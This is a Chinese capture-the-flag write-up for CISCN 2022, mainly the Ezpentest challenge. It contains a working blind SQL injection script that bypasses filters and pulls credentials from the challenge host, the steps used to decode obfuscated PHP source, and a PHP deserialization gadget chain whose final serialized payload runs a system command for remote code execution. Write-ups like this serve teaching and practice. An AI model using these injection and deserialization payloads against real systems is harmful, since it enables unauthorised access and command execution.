wp · 2022年5月31日 0

CISCN2022初赛wp

Ezpop

反序列化。

php exp.py

Ezpentest

首先是一个登录框,尝试sql注入,登录失败返回200,报错返回500。测试1'^1^'1登录返回200,成功闭合。fuzz了一波,大致知道payload中不能包含unionregexp,payload中有这两个关键字直接返回200的Error。其次是对于某些特殊字符的过滤,不能包含空格和括号和注释符,没有括号就很难注了(后面注的时候发现还有逗号分号啥的)。

这种场景下注表名列名啥的就别想了,因为在登录框所以盲猜列名为usernamepassword,加上反引号打过去返回200,说明是对的。然后选择基于报错的布尔盲注,选用case when进行条件判断,科学计数法产生溢出造成报错,然后用like模糊查询进行比较。最后写脚本进行注入:

import requests

url = "http://eci-2zeiotg3hwi20aa70dvd.cloudeci1.ichunqiu.com/login.php"
table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$_"
s = ""
for i in range(300):
    for j in range(len(table)):
        data = {
            "password": "admin",
            "username": f"1'^CASEpassword'{s + table[j]}%'COLLATE'utf8mb4_bin'WHEN'1'THEN'0'ELSE''+100E291+1.7976931348623158E308+''end^'"
        }
        res = requests.post(url, data=data)
        if res.status_code == 200:
            s += table[j]
            print(s)
            break

注入过程中有两个小坑,一个是用户名中藏了特殊字符,有的被过滤了,到那里的时候脚本就会觉得注入成功了如何就会一直跑,而且特殊字符里还有%,所以注完得手动判断一下是否和username相等。其次就是大小写问题,用COLLATE'utf8mb4_bin'使模糊查询的时候区分大小写。所以最后得到用户名和密码:

awk785969awlfjnlkjlii!@$%!!
PAssw40d_Y0u3_Never_Konwn!@!!

登录之后可以得到一份经过PHPJiaMi混淆后的源码,因为里面有很多不可见字符,如果用浏览器保存或者直接复制会有一些奇怪的编码问题,后续会解码失败

import gzip
from pwn import *

p = remote("eci-2zeiotg3hwi20aa70dvd.cloudeci1.ichunqiu.com",80)
msg = """POST /login.php HTTP/1.1
Host: eci-2zeiotg3hwi20aa70dvd.cloudeci1.ichunqiu.com
Content-Length: 75
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zeh4pj6hmpfu3u3p3h8.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zeh4pj6hmpfu3u3p3h8.cloudeci1.ichunqiu.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __jsluid_h=54e622c193543744bb98c4f24fb7c5f4; PHPSESSID=1mgh5iu05gs437oajkv2qf9ob6
Connection: close

username=awk785969awlfjnlkjlii!@$%!!&password=PAssw40d_Y0u3_Never_Konwn!@!!"""
p.send(msg.encode())
byte = p.recv()
start = byte.find(b"\r\n\r\n")+4
byte = byte[start:]
with open("test.php","wb") as f:
    f.write(gzip.decompress(byte))
    f.close()

然后拿到的源码大概长这样:

我把它传上来了:ciscn2022_ezpentest

在github上可以找到一个开源的工具可以对其进行解码:

https://github.com/PikuYoake/phpjiami_decode

然后得到真正的源码:

<?php
session_start();
if(!isset($_SESSION['login'])){
    die();
}
function Al($classname){
    include $classname.".php";
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);
    if($o === false) {
        die("Error Format");
    }else{
        spl_autoload_register('Al');
        $o = unserialize($c);
        $raw = serialize($o);
        if(preg_match("/Some/i",$raw)){
            throw new Error("Error");
        }
        $o = unserialize($raw);
        var_dump($o);
    }
}else {
    echo file_get_contents("SomeClass.php");
}

是个反序列化题,恶意类都在SomeClass.php中得想办法通过AI函数把他包含进来,而AI函数注册了autoload,只要反序列化一个SomeClass类就可以将其包含进来,之后再进行一次反序列化就可以反序列化SomeClass.php中的类。不过在这之前还有一段$raw=serialize(unserialize($c)),之后经过正则匹配,如果有Some存在就抛出异常。

在这里通过反序列化__PHP_Incomplete_Class类可以绕过它的正则匹配:

a:1:{i:1;O:22:"__PHP_Incomplete_Class":1:{s:2:"aa";a:0:{}}}}

打过去发现能成。

然后从SomeClass.php中挖掘反序列化利用链:

<?php
class A
{
    public $a;
    public $b;
    public function see()
    {
        $b = $this->b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}
class SomeClass
{

}
$someclass = new SomeClass();
$e = new E();
$b = new B();
$a = new A();
$f = new ArrayObject();
$e->a = $b;
$b->a=$a;
$a->b = $f;
$f->a = "system";
$f->b = "id";
$res = array($someclass,$e);
echo serialize($res);
?>

接着把拿到的payload拿去替换前面的payload中的a:0:{}就能成功rce:

a:1:{i:1;O:22:"__PHP_Incomplete_Class":1:{s:2:"aa";a:2:{i:0;O:9:"SomeClass":0:{}i:1;O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";O:11:"ArrayObject":3:{i:0;i:0;i:1;a:0:{}i:2;a:2:{s:1:"a";s:6:"system";s:1:"b";s:13:"cat /flag.txt";}}}s:1:"b";N;}s:1:"b";N;}}}}}